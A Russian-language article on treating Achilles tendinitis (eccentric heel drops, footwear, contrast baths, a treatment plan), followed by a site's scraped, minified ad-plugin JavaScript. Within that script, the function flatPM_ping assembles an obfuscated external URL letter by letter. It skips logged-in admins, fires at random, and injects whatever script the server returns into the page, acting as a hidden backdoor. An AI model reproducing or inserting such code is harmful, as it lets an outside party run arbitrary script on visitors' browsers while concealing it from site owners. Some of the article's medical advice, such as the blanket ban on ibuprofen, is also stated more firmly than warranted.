Причины тендинита ахиллова сухожилия, по всей видимости, связаны с чрезмерной нагрузкой, передающейся через него. Слабые икроножные мышцы, ограниченный диапазон движения в голеностопном суставе и чрезмерная пронация также связаны с развитием проблем с ахилловым сухожилием. Результатом является то, что все эти факторы, а также объем тренинга и т. д. приводят к повреждению сухожилия.

Хотя термин «тендинит» подразумевает, что основной проблемой является воспаление, на самом деле причина данного состояния заключатся в физическом повреждении волокон самого ахиллова сухожилия.

Подобно шнуру банджи, состоящему из тонких нитей резины, сложенных вместе, сухожилия состоят из небольших волоконно-образных белковых структур (коллагена). Боль в ахилловом сухожилии является результатом повреждения волокон коллагена. Из-за этого варианты лечения должны начинаться с поиска способов решения данной проблемы.

Как лечить тендинит ахиллова сухожилия?

  • В течение долгого времени исследователи и врачи пытались улучшить такие факторы, как сила икроножных мышц, диапазон движения в щиколотке и пронация стопы, полагая, что это поможет ахиллову сухожилию исцелиться.
  • К сожалению, похоже на то, что толстые сухожилия не заживают так быстро или настолько полно, как нам бы того хотелось.
  • Причиной этого, по-видимому, являются волокна коллагена.

Когда происходит повреждение сухожилия, волокна коллагена рвутся. Ваше тело может создать новые волокна, чтобы заменить поврежденные, но это происходит довольно дезорганизованным образом.

Новые волокна коллагена выглядят как беспорядочная куча спагетти, если смотреть на них под микроскопом, тогда как здоровые волокна сухожилия должны быть гладкими и ровными.

К сожалению, дальше положение дел еще более ухудшается.

Хотя предполагается, что бегуны должны растягивать икроножные мышцы, чтобы расслабить их и увеличить диапазон движения в голеностопном суставе, это часто приносит больше вреда, чем пользы: агрессивно растягивать поврежденные волокна сухожилия – это все равно что тянуть за любой из концов спутанной веревки.

Вместо этого, целью ваших действий при травме ахилла должно быть восстановление поврежденного сухожилия. Для этого отлично подходит такое упражнение, как эксцентрическое опускание пятки, эффективность которого подтверждена массой научных исследований.

Как эксцентрическое опускание пятки помогает ахиллову сухожилию быстрее восстанавливаться?

Вообще, есть 2 разновидности данного упражнения: первая – на прямой ноге, вторая – на ноге чуть согнутой в колене.

Выполнять нужно обе разновидности в 3 подходах из 15 повторений 2 раза в день в течение 12 недель.

Встаньте передней частью обеих стоп на ступеньку и поднимитесь на носки. Перенесите вес тела на поврежденную ногу. Используйте икроножные мышцы, чтобы медленно опустить пятку вниз, чтобы она оказалась ниже передней части стопы. Помогая себе здоровой ногой, вернитесь в исходное «верхнее» положение. Не используйте поврежденную ногу, чтобы вернуться в исходное положение!

Упражнение может вызывать некоторую боль, но вам следует продолжать делать его, даже если оно доставляет умеренный дискомфорт. Однако вы должны немедленно прекратить его выполнение, если боль мучительна.

Как только вы сможете выполнять упражнение без боли, постепенно добавляйте отягощение, используя рюкзак. Если вам не повезло настолько, что поврежденными оказались оба ахиллова сухожилия, опирайтесь руками на какой-либо устойчивый предмет и переносите вес тела на руки, чтобы помочь себе вернуться в верхнее положение, вместо того, чтобы задействовать икроножные мышцы.

В чем смысл выполнения данного упражнения?

Эксцентрические упражнения, предположительно, способны избирательно повреждать невыровненные волокна сухожилия, что позволяет организму заменить их новыми, которые больше напоминают здоровые волокна коллагена.

Вот почему умеренная боль во время выполнения данных упражнений – это хороший признак, и почему необходимо увеличивать вес отягощения с течением времени, чтобы постепенно укреплять сухожилие

Можно ли сделать еще что-нибудь, чтобы ускорить восстановление?

Помимо восстановления поврежденных волокон сухожилия с помощью эксцентрических опусканий пятки, вы можете предпринять еще кое-какие меры, чтобы улучшить некоторые другие факторы, имеющие отношение к вашей травме.

  • Хотя закрепощение икроножных мышц и ограниченный диапазон движения в голеностопном суставе вполне разумно считать проблемами, агрессивное растягивание мышц голени не является идеальным вариантом их решения. Вместо этого попробуйте разминать икры массажным валиком и прикладывать грелку с теплой водой к мышце (но не нагревайте сухожилие!). Массаж валиком поможет вашим икроножным мышцам расслабиться, не оказывая агрессивного воздействия на ахиллово сухожилие.
  • Растягивать икроножные мышцы и повышать диапазон движения в голеностопном суставе лучше, опустившись на колени (сев ягодицами на пятки) и отклоняя туловище назад (колени при этом могут отрываться от пола).
  • Если раньше вы бегали в минималистских кроссовках с тонкой пяткой или плоской подошвой или же в шиповках, приобретите более традиционные кроссовки с более высокой пяткой, пока ваше сухожилие не восстановится. Как только это произойдет, вы можете постепенно начать бегать в кроссовках с тонкой пяткой или даже босиком (по траве), чтобы помочь ахиллову сухожилию привыкнуть к движению в более полной амплитуде. Не стоит забывать и о правильном выборе повседневной обуви, особенно это касается женщин. Некоторые туфли также могут оказывать давление на заднюю часть пятки, что раздражает крепление сухожилия. Как правило, чем больше повседневная обувь напоминает (как по внешнему виду, так и по ощущениям) беговые кроссовки, тем лучше для ваших ног.
  • Врач-ортопед может предложить вам попробовать использовать индивидуальные ортопедические стельки для решения проблем с ахилловым сухожилием. Хотя это может помочь, следует упомянуть, что существует не так уж много научных доказательств эффективности подобных стелек. Не стоит рассчитывать на то, что ортопедические стельки помогут вам изменить пронацию стопы, и даже если помогут, остается неясным, увеличит это или уменьшит нагрузку на ахиллово сухожилие.

План лечения тендита ахиллова сухожилия

Консервативные методы

Эти процедуры дешевы, легки в исполнении и вы можете использовать их в домашних условиях в удобное для вас время. Просто старайтесь использовать их в как можно более полном объеме каждый день.

  • Эксцентрические опускания пятки.
  • Прикладывание льда после каждой пробежки.
  • Разогревание перед каждой пробежкой при помощи грелки с теплой водой.
  • Контрастная ванна в течение дня: возьмите 2 ведра и наполните одно горячей водой (комфортной температуры), а другое – холодной водой со льдом (вода должна быть достаточно холодной, чтобы сверху плавал не растаявший лед). Поместите ногу (вплоть до икры) в холодную воду на 5 минут, а затем в горячую также на 5 минут. Повторите 2 или 3 раза, заканчивая процедуру холодной водой. Это помогает ускорить кровообращение в поврежденной области, что способствует восстановлению.
  • Не принимайте противовоспалительные средства, такие как ибупрофен. Они препятствуют действию естественных лечебных агентов организма, а вам нужно, чтобы восстановление происходило как можно более естественным путем.
  • Избегайте чрезмерного растягивания поврежденного сухожилия, выполняйте только те упражнения, которые обеспечивают легкое растягивание, пока травма не заживет.
  • Массируйте икроножные мышцы специальным валиком или палкой.
  • Подкладки под пятки – это также один из возможных вариантов временного облегчения проблемы. Они ограничивают диапазон движения ахиллова сухожилия, поэтому могут быть полезны, чтобы помочь вам передвигаться в первое время после обострения травмы, но вы должны избавиться от них после того, как восстановитесь.
  • Переходите на использование кроссовок с большей степенью поддержки или кроссовок с более высокой пяткой как для бега, так и для ходьбы, пока боль не исчезнет, и избегайте ношения обуви с плоской подошвой и высоким каблуком!
  • Выполняйте упражнения для укрепления и улучшения мобильности голеностопных суставов.
  • Спите в ортопедическом носке или ночной шине, чтобы мягко растягивать ахиллово сухожилие во время сна.

Агрессивные методы

Эти процедуры являются чуть более дорогостоящими или требуют много времени, и их рекомендуют только в том случае, если вы страдаете от хронической боли в ахилловом сухожилии, или же если консервативные методы лечения не работают.

  • Индивидуальные ортопедические стельки могут помочь облегчить боль от чрезмерной пронации. Эффективность этого метода не доказана, но тем бегунам, которые хорошо реагируют на ортопедические стельки, он может помочь.
  • Электрофорез с дексаметазоном. Это лечение, предлагаемое физиотерапевтами, которое включает в себя введение противовоспалительных стероидов в сухожилие. Вам понадобится рецепт и физиотерапевт для проведения процедуры, но исследования показали, что она может положительно повлиять на лечение ахиллова сухожилия.

Когда вы снова сможете бегать?

Вы можете продолжать бегать в течение 12-недельного периода лечения, но только если состояние ахиллова сухожилия не ухудшается при этом.

Используйте теплую воду, чтобы разогреть сухожилие перед пробежкой, и прикладывайте лед после бега, даже когда начнете чувствовать себя лучше. Также неплохой идеей является использование массажного валика и грелки с горячей водой для расслабления икроножных мышц утром и вечером. И обратите внимание на то, какую обувь вы носите повседневно.

Если у вас инсерционный тендинит ахиллова сухожилия, выполняйте эксцентрическое опускание пятки, стоя на полу, а не на ступеньке.

Индивидуальные ортопедические стельки или подкладки под пятки также могут быть полезны, но не должны быть вариантом лечения, к которому вы прибегаете в первую очередь.

Источник: https://get.run/info/travmy/tendinit-akhillova-sukhozhiliya/

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith(''))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith(''))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('
');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('
');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0 *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|?\w+;/,c={option:[1,""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"<$1>$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n<=0&&(clearInterval(r),"true"==d?a.parent().replaceWith(''):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};